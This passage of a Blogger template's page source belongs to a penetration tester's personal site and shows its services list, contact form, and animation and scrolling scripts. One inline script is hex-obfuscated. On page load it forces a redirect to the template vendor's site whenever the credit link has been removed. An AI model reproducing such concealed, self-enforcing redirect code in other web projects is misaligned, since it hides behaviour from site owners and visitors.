2723<div class='footer section' id='footer1'><div class='widget Attribution' data-version='1' id='Attribution1'>
2724<div class='widget-content' style='text-align: center;'>
2725Shawar Khan. Powered by <a href='https://www.blogger.com' target='_blank'>Blogger</a>.
2726</div>
2727<div class='clear'></div>
2728<span class='widget-item-control'>
2729<span class='item-control blog-admin'>
2730<a class='quickedit' href='//www.blogger.com/rearrange?blogID=6813541491029333765&widgetType=Attribution&widgetId=Attribution1&action=editWidget§ionId=footer1' onclick='return _WidgetManager._PopupConfig(document.getElementById("Attribution1"));' rel='nofollow' target='configAttribution1' title='Edit'>
2731<img alt='' height='18' src='https://resources.blogblog.com/img/icon18_wrench_allbkg.png' width='18'/>
2732</a>
2733</span>
2734</span>
2735<div class='clear'></div>
2736</div>
2737<div class='widget HTML' data-version='1' id='HTML1'>
2738<div class='widget-content'>
2739<style>#Attribution1 { display: none; };</style>
2740</div>
2741<div class='clear'></div>
2742<span class='widget-item-control'>
2743<span class='item-control blog-admin'>
2744<a class='quickedit' href='//www.blogger.com/rearrange?blogID=6813541491029333765&widgetType=HTML&widgetId=HTML1&action=editWidget§ionId=footer1' onclick='return _WidgetManager._PopupConfig(document.getElementById("HTML1"));' rel='nofollow' target='configHTML1' title='Edit'>
2745<img alt='' height='18' src='https://resources.blogblog.com/img/icon18_wrench_allbkg.png' width='18'/>
2746</a>
2747</span>
2748</span>
2749<div class='clear'></div>
2750</div></div>
2751<div class='clr'></div>
2752</div><!-- /ct-wrapper -->
2753</div><!-- footer -->
2754<!-- Section Services -->
2755<section id='sectionServices'>
2756<div class='container wow fadeInUp animated' style='visibility: visible;'>
2757<!-- section TITLE -->
2758<div class='sectionTitle wow fadeInUp animated' style='visibility: visible;'>
2759<h1>Services</h1>
2760<h4>What can I do</h4>
2761<hr/>
2762</div>
2763<!-- END section TITLE -->
2764<div class='container'>
2765<div class='row servicesRow'>
2766<!--Services-->
2767<div class='col-md-4 col-sm-6 col-xs-12 servicesCol4'>
2768<div class='servicesLeft'>
2769<span class='icon fa fa-globe'></span>
2770</div>
2771<div class='servicesRight'>
2772<h3>Web-App Penetration Testing</h3>
2773<p>
2774 Provides a complete Penetration Test against the web application in order ensure its safety.
2775 </p>
2776</div>
2777</div>
2778<div class='col-md-4 col-sm-6 col-xs-12 servicesCol4'>
2779<div class='servicesLeft'>
2780<span class='icon fa fa-android'></span>
2781</div>
2782<div class='servicesRight'>
2783<h3>Android App Penetration Testing</h3>
2784<p>
2785 Provides Android Application Penetration Testing in order to make the app & secure.
2786 </p>
2787</div>
2788</div>
2789<div class='col-md-4 col-sm-6 col-xs-12 servicesCol4'>
2790<div class='servicesLeft'>
2791<span class='icon fa fa-apple'></span>
2792</div>
2793<div class='servicesRight'>
2794<h3>iOS App Penetration Testing</h3>
2795<p>
2796 Provides iOS Application Penetration Testing in order to make the app & secure.
2797 </p>
2798</div>
2799</div>
2800</div>
2801</div>
2802</div>
2803</section>
2804<!-- Section Services End-->
2805</div>
2806<section id='sectionContact'>
2807<div class='container'>
2808<!-- section TITLE -->
2809<div class='sectionTitle wow fadeInUp animated' style='visibility: visible;'>
2810<h1>Want my services?</h1>
2811<h4>Get in touch with me</h4>
2812<hr/>
2813</div>
2814<!-- END section TITLE -->
2815<div class='col-md-6 contactLeft wow fadeInUp animated' style='visibility: visible;'>
2816<!-- contact FORM-->
2817<div class='contactForm'>
2818<!--MAIN FORM-->
2819<div class='contact-form section' id='contact-form'><div class='widget ContactForm' data-version='1' id='ContactForm1'>
2820<form id='contactForm' name='contact-form'>
2821<div class='form-group'>
2822<input class='form-control' id='ContactForm1_contact-form-name' placeholder='Name* :' required='' type='text'/>
2823</div>
2824<div class='form-group'>
2825<input id='ContactForm1_contact-form-email' placeholder='E-mail* :' required='' type='email'/>
2826</div>
2827<div class='form-group'>
2828<textarea id='ContactForm1_contact-form-email-message' placeholder='Message* :' required='' type='tel'></textarea>
2829</div>
2830<input class='submit wow bounceIn animated animated' id='ContactForm1_contact-form-submit' style='visibility: visible;' type='submit' value='Send'/>
2831<div style='text-align: center; max-width: 222px; width: 100%'>
2832<p class='contact-form-error-message' id='ContactForm1_contact-form-error-message'></p>
2833<p class='contact-form-success-message' id='ContactForm1_contact-form-success-message'></p>
2834</div>
2835</form>
2836<div class='clear'></div>
2837<span class='widget-item-control'>
2838<span class='item-control blog-admin'>
2839<a class='quickedit' href='//www.blogger.com/rearrange?blogID=6813541491029333765&widgetType=ContactForm&widgetId=ContactForm1&action=editWidget§ionId=contact-form' onclick='return _WidgetManager._PopupConfig(document.getElementById("ContactForm1"));' rel='nofollow' target='configContactForm1' title='Edit'>
2840<img alt='' height='18' src='https://resources.blogblog.com/img/icon18_wrench_allbkg.png' width='18'/>
2841</a>
2842</span>
2843</span>
2844<div class='clear'></div>
2845</div></div>
2846<!--END Main form-->
2847</div>
2848<!-- END contact FORM-->
2849</div>
2850<!-- Contact Adress -->
2851<div class='col-md-6 contactRight wow fadeInUp animated' style='visibility: visible;'>
2852</div>
2853<!-- Contact Adress End-->
2854</div>
2855<!-- END container -->
2856<!-- footer CONTACT-->
2857<footer class='contactFooter'>
2858<div class='container'>
2859<!-- COPYRIGHT-->
2860<style>.col-md-6.col-sm-6.col-xs-12.footerLeft{display:none;}</style>
2861<div class='col-md-6 col-sm-6 col-xs-12 footerLeft'>
2862 Copyright © 2017 Shawar Khan.Design By <a herf='http://www.templateclue.com/' id='templateclue' ref='dofollow' title='Blogger Templates'>Blogger Templates</a> & <a href='http://www.websoham.com/'>Websoham</a> | Distributed By <a href='https://gooyaabitemplates.com/' rel='dofollow' target='_blank'>Gooyaabi Templates</a> .
2863 </div>
2864<div style='float: left;position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px;width: 50% '>Copyright © 2017 <a href='https://facebook.com/shawarkhanskofficial'>Shawar Khan</a> | Ethical Hacker.</div>
2865<!-- SOCIAL ICONS -->
2866<div class='col-md-6 col-sm-6 col-xs-12 footerRight'>
2867<a href='https://twitter.com/ShawarkOFFICIAL '><i class='fa fa-twitter'></i></a>
2868<a href='https://www.facebook.com/shawarkhanskofficial'><i class='fa fa-facebook'></i></a>
2869<a href='https://pk.linkedin.com/in/shawar-khan-4074a4b7'><i class='fa fa-linkedin'></i></a>
2870</div>
2871</div>
2872<!-- END container-->
2873</footer>
2874<!-- END footer CONTACT-->
2875</section>
2876<script type='text/javascript'>
2877/*<![CDATA[*/
2878var _0x1715=["\x62\x6F\x64\x79","\x2E\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x77\x72\x61\x70","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x6F\x70\x65\x6E\x2D\x62\x75\x74\x74\x6F\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x6F\x73\x65\x2D\x62\x75\x74\x74\x6F\x6E","\x63\x6C\x69\x63\x6B","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x74\x61\x72\x67\x65\x74","\x73\x68\x6F\x77\x2D\x6D\x65\x6E\x75","\x72\x65\x6D\x6F\x76\x65","\x61\x64\x64","\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74","\x70\x72\x6F\x63\x65\x73\x73","\x70\x72\x6F\x78\x79","\x24\x65\x6C\x65\x6D\x65\x6E\x74","\x69\x73","\x24\x62\x6F\x64\x79","\x24\x73\x63\x72\x6F\x6C\x6C\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x63\x72\x6F\x6C\x6C\x2E\x62\x73\x2E\x73\x63\x72\x6F\x6C\x6C\x2D\x73\x70\x79\x2E\x64\x61\x74\x61\x2D\x61\x70\x69","\x6F\x6E","\x6F\x70\x74\x69\x6F\x6E\x73","\x65\x78\x74\x65\x6E\x64","\x73\x65\x6C\x65\x63\x74\x6F\x72","\x68\x72\x65\x66","\x61\x74\x74\x72","","\x72\x65\x70\x6C\x61\x63\x65","\x20\x2E\x6E\x61\x76\x62\x61\x72\x20\x6C\x69\x20\x3E\x20\x61","\x6F\x66\x66\x73\x65\x74\x73","\x74\x61\x72\x67\x65\x74\x73","\x61\x63\x74\x69\x76\x65\x54\x61\x72\x67\x65\x74","\x72\x65\x66\x72\x65\x73\x68","\x44\x45\x46\x41\x55\x4C\x54\x53","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x6F\x66\x66\x73\x65\x74","\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x70\x75\x73\x68","\x65\x61\x63\x68","\x73\x6F\x72\x74","\x64\x61\x74\x61","\x74\x65\x73\x74","\x6C\x65\x6E\x67\x74\x68","\x3A\x76\x69\x73\x69\x62\x6C\x65","\x74\x6F\x70","\x67\x65\x74","\x69\x73\x57\x69\x6E\x64\x6F\x77","\x73\x63\x72\x6F\x6C\x6C\x54\x6F\x70","\x6D\x61\x70","\x66\x69\x6E\x64","\x73\x63\x72\x6F\x6C\x6C\x48\x65\x69\x67\x68\x74","\x68\x65\x69\x67\x68\x74","\x6C\x61\x73\x74","\x61\x63\x74\x69\x76\x61\x74\x65","\x61\x63\x74\x69\x76\x65","\x72\x65\x6D\x6F\x76\x65\x43\x6C\x61\x73\x73","\x2E\x61\x63\x74\x69\x76\x65","\x70\x61\x72\x65\x6E\x74\x73\x55\x6E\x74\x69\x6C","\x5B\x64\x61\x74\x61\x2D\x74\x61\x72\x67\x65\x74\x3D\x22","\x22\x5D\x2C","\x5B\x68\x72\x65\x66\x3D\x22","\x22\x5D","\x61\x64\x64\x43\x6C\x61\x73\x73","\x6C\x69","\x70\x61\x72\x65\x6E\x74\x73","\x2E\x64\x72\x6F\x70\x64\x6F\x77\x6E\x2D\x6D\x65\x6E\x75","\x70\x61\x72\x65\x6E\x74","\x6C\x69\x2E\x64\x72\x6F\x70\x64\x6F\x77\x6E","\x63\x6C\x6F\x73\x65\x73\x74","\x61\x63\x74\x69\x76\x61\x74\x65\x2E\x62\x73\x2E\x73\x63\x72\x6F\x6C\x6C\x73\x70\x79","\x74\x72\x69\x67\x67\x65\x72","\x73\x63\x72\x6F\x6C\x6C\x73\x70\x79","\x66\x6E","\x62\x73\x2E\x73\x63\x72\x6F\x6C\x6C\x73\x70\x79","\x6F\x62\x6A\x65\x63\x74","\x73\x74\x72\x69\x6E\x67","\x43\x6F\x6E\x73\x74\x72\x75\x63\x74\x6F\x72","\x6E\x6F\x43\x6F\x6E\x66\x6C\x69\x63\x74","\x6C\x6F\x61\x64","\x5B\x64\x61\x74\x61\x2D\x73\x70\x79\x3D\x22\x73\x63\x72\x6F\x6C\x6C\x22\x5D","\x6F\x6E\x6C\x6F\x61\x64","\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x74\x65\x6D\x70\x6C\x61\x74\x65\x63\x6C\x75\x65\x2E\x63\x6F\x6D\x2F","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x72\x65\x66","\x64\x6F\x66\x6F\x6C\x6C\x6F\x77","\x74\x69\x74\x6C\x65","\x42\x6C\x6F\x67\x67\x65\x72\x20\x54\x65\x6D\x70\x6C\x61\x74\x65\x73","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"];var _0x6c05=[_0x1715[0],_0x1715[1],_0x1715[2],_0x1715[3],_0x1715[4],_0x1715[5],_0x1715[6],_0x1715[7],_0x1715[8],_0x1715[9],_0x1715[10],_0x1715[11],_0x1715[12],_0x1715[13],_0x1715[14],_0x1715[15],_0x1715[16],_0x1715[17],_0x1715[18],_0x1715[19],_0x1715[20],_0x1715[21],_0x1715[22],_0x1715[23],_0x1715[24],_0x1715[25],_0x1715[26],_0x1715[27],_0x1715[28],_0x1715[29],_0x1715[30],_0x1715[31],_0x1715[32],_0x1715[33],_0x1715[34],_0x1715[35],_0x1715[36],_0x1715[37],_0x1715[38],_0x1715[39],_0x1715[40],_0x1715[41],_0x1715[42],_0x1715[43],_0x1715[44],_0x1715[45],_0x1715[46],_0x1715[47],_0x1715[48],_0x1715[49],_0x1715[50],_0x1715[51],_0x1715[52],_0x1715[53],_0x1715[54],_0x1715[55],_0x1715[56],_0x1715[57],_0x1715[58],_0x1715[59],_0x1715[60],_0x1715[61],_0x1715[62],_0x1715[63],_0x1715[64],_0x1715[65],_0x1715[66],_0x1715[67],_0x1715[68],_0x1715[69],_0x1715[70],_0x1715[71],_0x1715[72],_0x1715[73],_0x1715[74],_0x1715[75],_0x1715[76],_0x1715[77],_0x1715[78],_0x1715[79],_0x1715[80],_0x1715[81],_0x1715[82],_0x1715[83],_0x1715[84],_0x1715[85],_0x1715[86],_0x1715[87],_0x1715[88],_0x1715[89]];(function(){var _0x7c65x2=document[_0x6c05[0]],_0x7c65x3=document[_0x6c05[2]](_0x6c05[1]),_0x7c65x4=document[_0x6c05[4]](_0x6c05[3]),_0x7c65x5=document[_0x6c05[4]](_0x6c05[5]),_0x7c65x6=false;function _0x7c65x7(){_0x7c65x8()}function _0x7c65x8(){_0x7c65x4[_0x6c05[7]](_0x6c05[6],_0x7c65xb);if(_0x7c65x5){_0x7c65x5[_0x6c05[7]](_0x6c05[6],_0x7c65xb)};_0x7c65x3[_0x6c05[7]](_0x6c05[6],function(_0x7c65x9){var _0x7c65xa=_0x7c65x9[_0x6c05[8]];if(_0x7c65x6&&_0x7c65xa!==_0x7c65x4){_0x7c65xb()};});}function _0x7c65xb(){if(_0x7c65x6){classie[_0x6c05[10]](_0x7c65x2,_0x6c05[9])}else {classie[_0x6c05[11]](_0x7c65x2,_0x6c05[9])};_0x7c65x6= !_0x7c65x6;}_0x7c65x7();})();+function(_0x7c65xc){_0x6c05[12];function _0x7c65xd(_0x7c65xe,_0x7c65xf){var _0x7c65x10;var _0x7c65x11=_0x7c65xc[_0x6c05[14]](this[_0x6c05[13]],this);this[_0x6c05[15]]=_0x7c65xc(_0x7c65xe)[_0x6c05[16]](_0x6c05[0])?_0x7c65xc(window):_0x7c65xc(_0x7c65xe);this[_0x6c05[17]]=_0x7c65xc(_0x6c05[0]);this[_0x6c05[18]]=this[_0x6c05[15]][_0x6c05[20]](_0x6c05[19],_0x7c65x11);this[_0x6c05[21]]=_0x7c65xc[_0x6c05[22]]({},_0x7c65xd.DEFAULTS,_0x7c65xf);this[_0x6c05[23]]=(this[_0x6c05[21]][_0x6c05[8]]||((_0x7c65x10=_0x7c65xc(_0x7c65xe)[_0x6c05[25]](_0x6c05[24]))&&_0x7c65x10[_0x6c05[27]](/.*(?=#[^\s]+$)/,_0x6c05[26]))||_0x6c05[26])+_0x6c05[28];this[_0x6c05[29]]=_0x7c65xc([]);this[_0x6c05[30]]=_0x7c65xc([]);this[_0x6c05[31]]=null;this[_0x6c05[32]]();this[_0x6c05[13]]();}_0x7c65xd[_0x6c05[33]]={offset:10};_0x7c65xd[_0x6c05[34]][_0x6c05[32]]=function(){var _0x7c65x12=this[_0x6c05[15]][0]==window?_0x6c05[35]:_0x6c05[36];this[_0x6c05[29]]=_0x7c65xc([]);this[_0x6c05[30]]=_0x7c65xc([]);var _0x7c65x13=this;var _0x7c65x14=this[_0x6c05[17]][_0x6c05[49]](this[_0x6c05[23]])[_0x6c05[48]](function(){var _0x7c65x17=_0x7c65xc(this);var _0x7c65x10=_0x7c65x17[_0x6c05[40]](_0x6c05[8])||_0x7c65x17[_0x6c05[25]](_0x6c05[24]);var _0x7c65x18=/^#./[_0x6c05[41]](_0x7c65x10)&&_0x7c65xc(_0x7c65x10);return (_0x7c65x18&&_0x7c65x18[_0x6c05[42]]&&_0x7c65x18[_0x6c05[16]](_0x6c05[43])&&[[_0x7c65x18[_0x7c65x12]()[_0x6c05[44]]+(!_0x7c65xc[_0x6c05[46]](_0x7c65x13[_0x6c05[18]][_0x6c05[45]](0))&&_0x7c65x13[_0x6c05[18]][_0x6c05[47]]()),_0x7c65x10]])||null;})[_0x6c05[39]](function(_0x7c65x15,_0x7c65x16){return _0x7c65x15[0]-_0x7c65x16[0]})[_0x6c05[38]](function(){_0x7c65x13[_0x6c05[29]][_0x6c05[37]](this[0]);_0x7c65x13[_0x6c05[30]][_0x6c05[37]](this[1]);});};_0x7c65xd[_0x6c05[34]][_0x6c05[13]]=function(){var _0x7c65x19=this[_0x6c05[18]][_0x6c05[47]]()+this[_0x6c05[21]][_0x6c05[35]];var _0x7c65x1a=this[_0x6c05[18]][0][_0x6c05[50]]||this[_0x6c05[17]][0][_0x6c05[50]];var _0x7c65x1b=_0x7c65x1a-this[_0x6c05[18]][_0x6c05[51]]();var _0x7c65x1c=this[_0x6c05[29]];var _0x7c65x1d=this[_0x6c05[30]];var _0x7c65x1e=this[_0x6c05[31]];var _0x7c65x1f;if(_0x7c65x19>=_0x7c65x1b){return _0x7c65x1e!=(_0x7c65x1f=_0x7c65x1d[_0x6c05[52]]()[0])&&this[_0x6c05[53]](_0x7c65x1f)};if(_0x7c65x1e&&_0x7c65x19<=_0x7c65x1c[0]){return _0x7c65x1e!=(_0x7c65x1f=_0x7c65x1d[0])&&this[_0x6c05[53]](_0x7c65x1f)};for(_0x7c65x1f=_0x7c65x1c[_0x6c05[42]];_0x7c65x1f--;){_0x7c65x1e!=_0x7c65x1d[_0x7c65x1f]&&_0x7c65x19>=_0x7c65x1c[_0x7c65x1f]&&(!_0x7c65x1c[_0x7c65x1f+1]||_0x7c65x19<=_0x7c65x1c[_0x7c65x1f+1])&&this[_0x6c05[53]](_0x7c65x1d[_0x7c65x1f])};};_0x7c65xd[_0x6c05[34]][_0x6c05[53]]=function(_0x7c65xa){this[_0x6c05[31]]=_0x7c65xa;_0x7c65xc(this[_0x6c05[23]])[_0x6c05[57]](this[_0x6c05[21]][_0x6c05[8]],_0x6c05[56])[_0x6c05[55]](_0x6c05[54]);var _0x7c65x20=this[_0x6c05[23]]+_0x6c05[58]+_0x7c65xa+_0x6c05[59]+this[_0x6c05[23]]+_0x6c05[60]+_0x7c65xa+_0x6c05[61];var _0x7c65x21=_0x7c65xc(_0x7c65x20)[_0x6c05[64]](_0x6c05[63])[_0x6c05[62]](_0x6c05[54]);if(_0x7c65x21[_0x6c05[66]](_0x6c05[65])[_0x6c05[42]]){_0x7c65x21=_0x7c65x21[_0x6c05[68]](_0x6c05[67])[_0x6c05[62]](_0x6c05[54])};_0x7c65x21[_0x6c05[70]](_0x6c05[69]);};var _0x7c65x22=_0x7c65xc[_0x6c05[72]][_0x6c05[71]];_0x7c65xc[_0x6c05[72]][_0x6c05[71]]=function(_0x7c65x23){return this[_0x6c05[38]](function(){var _0x7c65x24=_0x7c65xc(this);var _0x7c65x25=_0x7c65x24[_0x6c05[40]](_0x6c05[73]);var _0x7c65xf= typeof _0x7c65x23==_0x6c05[74]&&_0x7c65x23;if(!_0x7c65x25){_0x7c65x24[_0x6c05[40]](_0x6c05[73],(_0x7c65x25= new _0x7c65xd(this,_0x7c65xf)))};if( typeof _0x7c65x23==_0x6c05[75]){_0x7c65x25[_0x7c65x23]()};})};_0x7c65xc[_0x6c05[72]][_0x6c05[71]][_0x6c05[76]]=_0x7c65xd;_0x7c65xc[_0x6c05[72]][_0x6c05[71]][_0x6c05[77]]=function(){_0x7c65xc[_0x6c05[72]][_0x6c05[71]]=_0x7c65x22;return this;};_0x7c65xc(window)[_0x6c05[20]](_0x6c05[78],function(){_0x7c65xc(_0x6c05[79])[_0x6c05[38]](function(){var _0x7c65x26=_0x7c65xc(this);_0x7c65x26[_0x6c05[71]](_0x7c65x26[_0x6c05[40]]());})});}(jQuery);window[_0x6c05[80]]=function(){var _0x7c65x27=document[_0x6c05[4]](_0x6c05[81]);if(_0x7c65x27==null){window[_0x6c05[82]][_0x6c05[24]]=_0x6c05[83]};_0x7c65x27[_0x6c05[84]](_0x6c05[24],_0x6c05[83]);_0x7c65x27[_0x6c05[84]](_0x6c05[85],_0x6c05[86]);_0x7c65x27[_0x6c05[84]](_0x6c05[87],_0x6c05[88]);_0x7c65x27[_0x6c05[89]]=_0x6c05[88];};
2879/*]]>*/</script>
2880<!-- OWL SLIDER & WOW ANIMATIONS -->
2881<script type='text/javascript'>//<![CDATA[
2882/*! WOW - v1.0.1 - 2014-09-03
2883* Copyright (c) 2014 Matthieu Aussaguel; Licensed MIT */(function(){var a,b,c,d,e,f=function(a,b){return function(){return a.apply(b,arguments)}},g=[].indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(b in this&&this[b]===a)return b;return-1};b=function(){function a(){}return a.prototype.extend=function(a,b){var c,d;for(c in b)d=b[c],null==a[c]&&(a[c]=d);return a},a.prototype.isMobile=function(a){return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(a)},a.prototype.addEvent=function(a,b,c){return null!=a.addEventListener?a.addEventListener(b,c,!1):null!=a.attachEvent?a.attachEvent("on"+b,c):a[b]=c},a.prototype.removeEvent=function(a,b,c){return null!=a.removeEventListener?a.removeEventListener(b,c,!1):null!=a.detachEvent?a.detachEvent("on"+b,c):delete a[b]},a.prototype.innerHeight=function(){return"innerHeight"in window?window.innerHeight:document.documentElement.clientHeight},a}(),c=this.WeakMap||this.MozWeakMap||(c=function(){function a(){this.keys=[],this.values=[]}return a.prototype.get=function(a){var b,c,d,e,f;for(f=this.keys,b=d=0,e=f.length;e>d;b=++d)if(c=f[b],c===a)return this.values[b]},a.prototype.set=function(a,b){var c,d,e,f,g;for(g=this.keys,c=e=0,f=g.length;f>e;c=++e)if(d=g[c],d===a)return void(this.values[c]=b);return this.keys.push(a),this.values.push(b)},a}()),a=this.MutationObserver||this.WebkitMutationObserver||this.MozMutationObserver||(a=function(){function a(){"undefined"!=typeof console&&null!==console&&console.warn("MutationObserver is not supported by your browser."),"undefined"!=typeof console&&null!==console&&console.warn("WOW.js cannot detect dom mutations, please call .sync() after loading new content.")}return a.notSupported=!0,a.prototype.observe=function(){},a}()),d=this.getComputedStyle||function(a){return this.getPropertyValue=function(b){var c;return"float"===b&&(b="styleFloat"),e.test(b)&&b.replace(e,function(a,b){return b.toUpperCase()}),(null!=(c=a.currentStyle)?c[b]:void 0)||null},this},e=/(\-([a-z]){1})/g,this.WOW=function(){function e(a){null==a&&(a={}),this.scrollCallback=f(this.scrollCallback,this),this.scrollHandler=f(this.scrollHandler,this),this.start=f(this.start,this),this.scrolled=!0,this.config=this.util().extend(a,this.defaults),this.animationNameCache=new c}return e.prototype.defaults={boxClass:"wow",animateClass:"animated",offset:100,mobile:!0,live:!0},e.prototype.init=function(){var a;return this.element=window.document.documentElement,"interactive"===(a=document.readyState)||"complete"===a?this.start():this.util().addEvent(document,"DOMContentLoaded",this.start),this.finished=[]},e.prototype.start=function(){var b,c,d,e;if(this.stopped=!1,this.boxes=function(){var a,c,d,e;for(d=this.element.querySelectorAll("."+this.config.boxClass),e=[],a=0,c=d.length;c>a;a++)b=d[a],e.push(b);return e}.call(this),this.all=function(){var a,c,d,e;for(d=this.boxes,e=[],a=0,c=d.length;c>a;a++)b=d[a],e.push(b);return e}.call(this),this.boxes.length)if(this.disabled())this.resetStyle();else{for(e=this.boxes,c=0,d=e.length;d>c;c++)b=e[c],this.applyStyle(b,!0);this.util().addEvent(window,"scroll",this.scrollHandler),this.util().addEvent(window,"resize",this.scrollHandler),this.interval=setInterval(this.scrollCallback,50)}return this.config.live?new a(function(a){return function(b){var c,d,e,f,g;for(g=[],e=0,f=b.length;f>e;e++)d=b[e],g.push(function(){var a,b,e,f;for(e=d.addedNodes||[],f=[],a=0,b=e.length;b>a;a++)c=e[a],f.push(this.doSync(c));return f}.call(a));return g}}(this)).observe(document.body,{childList:!0,subtree:!0}):void 0},e.prototype.stop=function(){return this.stopped=!0,this.util().removeEvent(window,"scroll",this.scrollHandler),this.util().removeEvent(window,"resize",this.scrollHandler),null!=this.interval?clearInterval(this.interval):void 0},e.prototype.sync=function(){return a.notSupported?this.doSync(this.element):void 0},e.prototype.doSync=function(a){var b,c,d,e,f;if(!this.stopped){if(null==a&&(a=this.element),1!==a.nodeType)return;for(a=a.parentNode||a,e=a.querySelectorAll("."+this.config.boxClass),f=[],c=0,d=e.length;d>c;c++)b=e[c],g.call(this.all,b)<0?(this.applyStyle(b,!0),this.boxes.push(b),this.all.push(b),f.push(this.scrolled=!0)):f.push(void 0);return f}},e.prototype.show=function(a){return this.applyStyle(a),a.className=""+a.className+" "+this.config.animateClass},e.prototype.applyStyle=function(a,b){var c,d,e;return d=a.getAttribute("data-wow-duration"),c=a.getAttribute("data-wow-delay"),e=a.getAttribute("data-wow-iteration"),this.animate(function(f){return function(){return f.customStyle(a,b,d,c,e)}}(this))},e.prototype.animate=function(){return"requestAnimationFrame"in window?function(a){return window.requestAnimationFrame(a)}:function(a){return a()}}(),e.prototype.resetStyle=function(){var a,b,c,d,e;for(d=this.boxes,e=[],b=0,c=d.length;c>b;b++)a=d[b],e.push(a.setAttribute("style","visibility: visible;"));return e},e.prototype.customStyle=function(a,b,c,d,e){return b&&this.cacheAnimationName(a),a.style.visibility=b?"hidden":"visible",c&&this.vendorSet(a.style,{animationDuration:c}),d&&this.vendorSet(a.style,{animationDelay:d}),e&&this.vendorSet(a.style,{animationIterationCount:e}),this.vendorSet(a.style,{animationName:b?"none":this.cachedAnimationName(a)}),a},e.prototype.vendors=["moz","webkit"],e.prototype.vendorSet=function(a,b){var c,d,e,f;f=[];for(c in b)d=b[c],a[""+c]=d,f.push(function(){var b,f,g,h;for(g=this.vendors,h=[],b=0,f=g.length;f>b;b++)e=g[b],h.push(a[""+e+c.charAt(0).toUpperCase()+c.substr(1)]=d);return h}.call(this));return f},e.prototype.vendorCSS=function(a,b){var c,e,f,g,h,i;for(e=d(a),c=e.getPropertyCSSValue(b),i=this.vendors,g=0,h=i.length;h>g;g++)f=i[g],c=c||e.getPropertyCSSValue("-"+f+"-"+b);return c},e.prototype.animationName=function(a){var b;try{b=this.vendorCSS(a,"animation-name").cssText}catch(c){b=d(a).getPropertyValue("animation-name")}return"none"===b?"":b},e.prototype.cacheAnimationName=function(a){return this.animationNameCache.set(a,this.animationName(a))},e.prototype.cachedAnimationName=function(a){return this.animationNameCache.get(a)},e.prototype.scrollHandler=function(){return this.scrolled=!0},e.prototype.scrollCallback=function(){var a;return!this.scrolled||(this.scrolled=!1,this.boxes=function(){var b,c,d,e;for(d=this.boxes,e=[],b=0,c=d.length;c>b;b++)a=d[b],a&&(this.isVisible(a)?this.show(a):e.push(a));return e}.call(this),this.boxes.length||this.config.live)?void 0:this.stop()},e.prototype.offsetTop=function(a){for(var b;void 0===a.offsetTop;)a=a.parentNode;for(b=a.offsetTop;a=a.offsetParent;)b+=a.offsetTop;return b},e.prototype.isVisible=function(a){var b,c,d,e,f;return c=a.getAttribute("data-wow-offset")||this.config.offset,f=window.pageYOffset,e=f+Math.min(this.element.clientHeight,this.util().innerHeight())-c,d=this.offsetTop(a),b=d+a.clientHeight,e>=d&&b>=f},e.prototype.util=function(){return null!=this._util?this._util:this._util=new b},e.prototype.disabled=function(){return!this.config.mobile&&this.util().isMobile(navigator.userAgent)},e}()}).call(this);
2884//]]></script>
2885<script type='text/javascript'>//<![CDATA[
2886// SmoothScroll for websites v1.2.1
2887// Licensed under the terms of the MIT license.
2888
2889// People involved
2890// - Balazs Galambosi (maintainer)
2891// - Michael Herf (Pulse Algorithm)
2892
2893(function(){
2894
2895// Scroll Variables (tweakable)
2896var defaultOptions = {
2897
2898 // Scrolling Core
2899 frameRate : 150, // [Hz]
2900 animationTime : 500, // [px]
2901 stepSize : 150, // [px]
2902
2903 // Pulse (less tweakable)
2904 // ratio of "tail" to "acceleration"
2905 pulseAlgorithm : true,
2906 pulseScale : 6,
2907 pulseNormalize : 1,
2908
2909 // Acceleration
2910 accelerationDelta : 20, // 20
2911 accelerationMax : 1, // 1
2912
2913 // Keyboard Settings
2914 keyboardSupport : true, // option
2915 arrowScroll : 50, // [px]
2916
2917 // Other
2918 touchpadSupport : true,
2919 fixedBackground : true,
2920 excluded : ""
2921};
2922
2923var options = defaultOptions;
2924
2925
2926// Other Variables
2927var isExcluded = false;
2928var isFrame = false;
2929var direction = { x: 0, y: 0 };
2930var initDone = false;
2931var root = document.documentElement;
2932var activeElement;
2933var observer;
2934var deltaBuffer = [ 120, 120, 120 ];
2935
2936var key = { left: 37, up: 38, right: 39, down: 40, spacebar: 32,
2937 pageup: 33, pagedown: 34, end: 35, home: 36 };
2938
2939
2940/***********************************************
2941 * SETTINGS
2942 ***********************************************/
2943
2944var options = defaultOptions;
2945
2946
2947/***********************************************
2948 * INITIALIZE
2949 ***********************************************/
2950
2951/**
2952 * Tests if smooth scrolling is allowed. Shuts down everything if not.
2953 */
2954function initTest() {
2955
2956 var disableKeyboard = false;
2957
2958 // disable keyboard support if anything above requested it
2959 if (disableKeyboard) {
2960 removeEvent("keydown", keydown);
2961 }
2962
2963 if (options.keyboardSupport && !disableKeyboard) {
2964 addEvent("keydown", keydown);
2965 }
2966}
2967
2968/**
2969 * Sets up scrolls array, determines if frames are involved.
2970 */
2971function init() {
2972
2973 if (!document.body) return;
2974
2975 var body = document.body;
2976 var html = document.documentElement;
2977 var windowHeight = window.innerHeight;
2978 var scrollHeight = body.scrollHeight;
2979
2980 // check compat mode for root element
2981 root = (document.compatMode.indexOf('CSS') >= 0) ? html : body;
2982 activeElement = body;
2983
2984 initTest();
2985 initDone = true;
2986
2987 // Checks if this script is running in a frame
2988 if (top != self) {
2989 isFrame = true;
2990 }
2991
2992 /**
2993 * This fixes a bug where the areas left and right to
2994 * the content does not trigger the onmousewheel event
2995 * on some pages. e.g.: html, body { height: 100% }
2996 */
